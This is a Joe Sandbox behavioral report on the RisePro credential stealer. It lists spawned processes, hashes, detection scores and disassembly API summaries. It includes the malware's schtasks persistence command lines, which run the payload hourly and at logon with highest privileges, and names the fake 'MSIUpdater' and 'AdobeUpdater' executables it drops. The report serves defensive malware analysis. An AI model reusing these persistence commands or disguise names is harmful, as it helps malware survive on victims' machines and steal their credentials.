Yara matches:	Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 00000000.00000003.1824382503.0000000005E26000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	15:31:19
Start date:	21/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe" /tn "MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c HR" /sc HOURLY /rl HIGHEST
Imagebase:	0xdf0000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	15:31:19
Start date:	21/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	15:31:19
Start date:	21/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe" /tn "MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c LG" /sc ONLOGON /rl HIGHEST
Imagebase:	0xdf0000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	15:31:19
Start date:	21/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	15:31:19
Start date:	21/04/2024
Path:	C:\Users\user\AppData\Local\Temp\spanBzNJzauM1END\oRkIPIEeryat7GMgjkBr.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\spanBzNJzauM1END\oRkIPIEeryat7GMgjkBr.exe"
Imagebase:	0x860000
File size:	315'904 bytes
MD5 hash:	C60F5FA3A579BCA2C8C377F7E15B2221
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 92%, ReversingLabs Detection: 77%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	15:31:19
Start date:	21/04/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0xe10000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000007.00000002.1920616270.000000000140A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	15:31:20
Start date:	21/04/2024
Path:	C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe
Wow64 process (32bit):	true
Commandline:	C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe
Imagebase:	0x4f0000
File size:	315'904 bytes
MD5 hash:	C60F5FA3A579BCA2C8C377F7E15B2221
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 92%, ReversingLabs Detection: 77%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	15:31:20
Start date:	21/04/2024
Path:	C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe
Wow64 process (32bit):	true
Commandline:	C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe
Imagebase:	0x270000
File size:	315'904 bytes
MD5 hash:	C60F5FA3A579BCA2C8C377F7E15B2221
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	15:31:20
Start date:	21/04/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0xe90000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	15:31:20
Start date:	21/04/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x20000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000002.1939197101.000000000071D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	15:31:32
Start date:	21/04/2024
Path:	C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe"
Imagebase:	0x8b0000
File size:	315'904 bytes
MD5 hash:	C60F5FA3A579BCA2C8C377F7E15B2221
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 92%, ReversingLabs Detection: 77%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	15:31:32
Start date:	21/04/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0xdb0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	15:31:40
Start date:	21/04/2024
Path:	C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe"
Imagebase:	0xe20000
File size:	315'904 bytes
MD5 hash:	C60F5FA3A579BCA2C8C377F7E15B2221
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	15:31:40
Start date:	21/04/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0xf20000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	8.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	22.4%
Total number of Nodes:	2000
Total number of Limit Nodes:	23

Executed Functions

Function 00D52870 Relevance: 21.4, APIs: 11, Strings: 1, Instructions: 351
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileA.KERNEL32(?,?,00DE8E90,?,?,?,\*.*,00000004), ref: 00D5298C
FindNextFileA.KERNELBASE(00000000,00000010), ref: 00D52B28
GetLastError.KERNEL32 ref: 00D52B3E
SetFileAttributesA.KERNEL32(?,00000080), ref: 00D52B5B
RemoveDirectoryA.KERNEL32(?), ref: 00D52B79
GetLastError.KERNEL32 ref: 00D52B8E
std::_Throw_Cpp_error.LIBCPMT ref: 00D52C46
std::_Throw_Cpp_error.LIBCPMT ref: 00D52C57
CreateDirectoryA.KERNEL32(?,00000000,00000005), ref: 00D52C92
std::_Throw_Cpp_error.LIBCPMT ref: 00D52CAD
std::_Throw_Cpp_error.LIBCPMT ref: 00D52CBE

Strings

\*.*, xrefs: 00D5291D

Memory Dump Source

Source File: 00000000.00000002.1876801610.0000000000C61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C60000, based on PE: true

Associated: 00000000.00000002.1876784166.0000000000C60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876906597.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876933783.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000DEA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000DF5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E23000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E2D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E38000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877066478.0000000000E6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000E70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000FD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877489077.00000000011F4000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877597301.0000000001354000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c60000_2q45IEa3Ee.jbxd

Similarity

API ID: Cpp_errorThrow_std::_$File$DirectoryErrorFindLast$AttributesCreateFirstNextRemove
String ID: \*.*
API String ID: 2704257422-1173974218
Opcode ID: 09ecbe75225cc72ff77af787665c177e197404d79a7861038230dee6cff86527
Instruction ID: d6e12d31e3784d7050b172e9d539c4534b1b000fc9679c3d625b3dc4cf4d8931
Opcode Fuzzy Hash: 09ecbe75225cc72ff77af787665c177e197404d79a7861038230dee6cff86527
Instruction Fuzzy Hash: 8BC136319002059BCF24DF64CC89BBDBBB5EF46315F184219EC59A7292DB709A8CDB71

Uniqueness

Uniqueness Score: -1.00%

Function 00CBB010 Relevance: 20.2, APIs: 12, Instructions: 2241COMMON

Download Yara Rule

APIs

CreateDirectoryA.KERNEL32(?,00000000), ref: 00CBB14B
CreateDirectoryA.KERNEL32(0000000F,00000000), ref: 00CBB6CD
CreateDirectoryA.KERNEL32(0000000F,00000000), ref: 00CBB8E9
CreateDirectoryA.KERNEL32(?,00000000), ref: 00CBBA77
CreateDirectoryA.KERNEL32(?,00000000), ref: 00CBC326
GetFileAttributesA.KERNEL32(00000000), ref: 00CBC8B2
GetLastError.KERNEL32 ref: 00CBC8BD
CreateDirectoryA.KERNEL32(?,00000000), ref: 00CBC90D
CreateDirectoryA.KERNEL32(00000000,00000000,?), ref: 00CBCB49
CreateDirectoryA.KERNEL32(00000000,00000000,?,?,?,?,?,00000000,00000000,?,?,?,?), ref: 00CBD1EF
std::_Throw_Cpp_error.LIBCPMT ref: 00CBDB22
std::_Throw_Cpp_error.LIBCPMT ref: 00CBDB33

Memory Dump Source

Source File: 00000000.00000002.1876801610.0000000000C61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C60000, based on PE: true

Associated: 00000000.00000002.1876784166.0000000000C60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876906597.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876933783.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000DEA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000DF5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E23000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E2D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E38000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877066478.0000000000E6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000E70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000FD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877489077.00000000011F4000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877597301.0000000001354000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c60000_2q45IEa3Ee.jbxd

Similarity

API ID: CreateDirectory$Cpp_errorThrow_std::_$AttributesErrorFileLast
String ID:
API String ID: 453214671-0
Opcode ID: 3c0db18d64bbaa0f2f80de1a9249112236600c2570f3449d69e9076afb8635af
Instruction ID: 2f8c26b6be7b75a8079bb1eac37e16f3b837475eb6616e4a39190706e00aec11
Opcode Fuzzy Hash: 3c0db18d64bbaa0f2f80de1a9249112236600c2570f3449d69e9076afb8635af
Instruction Fuzzy Hash: 513323B0D042688BDB25CF68CD84BEDBBB5AF49304F1082D9E459A7252EB306F85DF51

Uniqueness

Uniqueness Score: -1.00%

Function 00CBA790 Relevance: 7.0, APIs: 4, Instructions: 978COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1876801610.0000000000C61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C60000, based on PE: true

Associated: 00000000.00000002.1876784166.0000000000C60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876906597.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876933783.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000DEA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000DF5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E23000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E2D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E38000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877066478.0000000000E6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000E70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000FD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877489077.00000000011F4000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877597301.0000000001354000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c60000_2q45IEa3Ee.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ae6584482ab6f5c482147a45a32b1b0033f233b328fcd5fa84bccb0f5a254a3
Instruction ID: 8fe4ea66bf990aa4ad6c1a050effc4d8a27d2c16cbcd0cf56a8f90c97a8163df
Opcode Fuzzy Hash: 9ae6584482ab6f5c482147a45a32b1b0033f233b328fcd5fa84bccb0f5a254a3
Instruction Fuzzy Hash: ADA231B0C042688BDB25CF68CD84BEDBBB5AF59304F1482D9E449BB251DB706E89DF50

Uniqueness

Uniqueness Score: -1.00%

Function 00C8C82B Relevance: 3.0, APIs: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileExW.KERNEL32(000000FF,00000001,?,00000000,00000000,00000000,?,?,?,00C809DA,?), ref: 00C8C866
GetLastError.KERNEL32(?,00C809DA,?), ref: 00C8C878

Memory Dump Source

Source File: 00000000.00000002.1876801610.0000000000C61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C60000, based on PE: true

Associated: 00000000.00000002.1876784166.0000000000C60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876906597.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876933783.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000DEA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000DF5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E23000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E2D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E38000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877066478.0000000000E6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000E70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000FD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877489077.00000000011F4000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877597301.0000000001354000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c60000_2q45IEa3Ee.jbxd

Similarity

API ID: ErrorFileFindFirstLast
String ID:
API String ID: 873889042-0
Opcode ID: 7a133db744cb40d82c00746803c78282b2cd6c6706b4623599a3c190a3527eeb
Instruction ID: 28bbb422e26b26a181ac4fb2d4c1bc9cd7e0ed87ed3ba3382796f89a319fc22e
Opcode Fuzzy Hash: 7a133db744cb40d82c00746803c78282b2cd6c6706b4623599a3c190a3527eeb
Instruction Fuzzy Hash: 51F03A3104020AAFDB106FA49C489BA7BA8EB05374B104625F969D15F1DA318AA2A7B4

Uniqueness

Uniqueness Score: -1.00%

Function 00D32890 Relevance: 2.1, APIs: 1, Instructions: 560
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1876801610.0000000000C61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C60000, based on PE: true

Associated: 00000000.00000002.1876784166.0000000000C60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876906597.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876933783.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000DEA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000DF5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E23000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E2D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E38000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877066478.0000000000E6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000E70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000FD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877489077.00000000011F4000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877597301.0000000001354000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c60000_2q45IEa3Ee.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e0581c6d35935c47c567eaa35f268c9253f9207795503609650a65e3987eb85
Instruction ID: f26a57f1714460cd942f49e166867c590869e5a3dfc569d611b312ca77f88847
Opcode Fuzzy Hash: 6e0581c6d35935c47c567eaa35f268c9253f9207795503609650a65e3987eb85
Instruction Fuzzy Hash: 8D32BF70D00248DFDB24DF68C9857ECBBB1EF54304F148199E849AB392DB709A84DFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00C9A8BD Relevance: .3, Instructions: 318COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1876801610.0000000000C61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C60000, based on PE: true

Associated: 00000000.00000002.1876784166.0000000000C60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876906597.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876933783.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000DEA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000DF5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E23000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E2D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E38000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877066478.0000000000E6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000E70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000FD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877489077.00000000011F4000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877597301.0000000001354000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c60000_2q45IEa3Ee.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e049d02d182e6ed60b20a539b0ef182e1b457fd3cfd3172ae4c3ee43cd0cfadf
Instruction ID: 90eb181d6f11f23234b267dddcf563cab7a936b6d9018a042ff9cae319b59564
Opcode Fuzzy Hash: e049d02d182e6ed60b20a539b0ef182e1b457fd3cfd3172ae4c3ee43cd0cfadf
Instruction Fuzzy Hash: 83B1D13090060A9BCF28CE69D69D6BEB7B1FF04304F15061DD9A297691DB31AF41DBD2

Uniqueness

Uniqueness Score: -1.00%

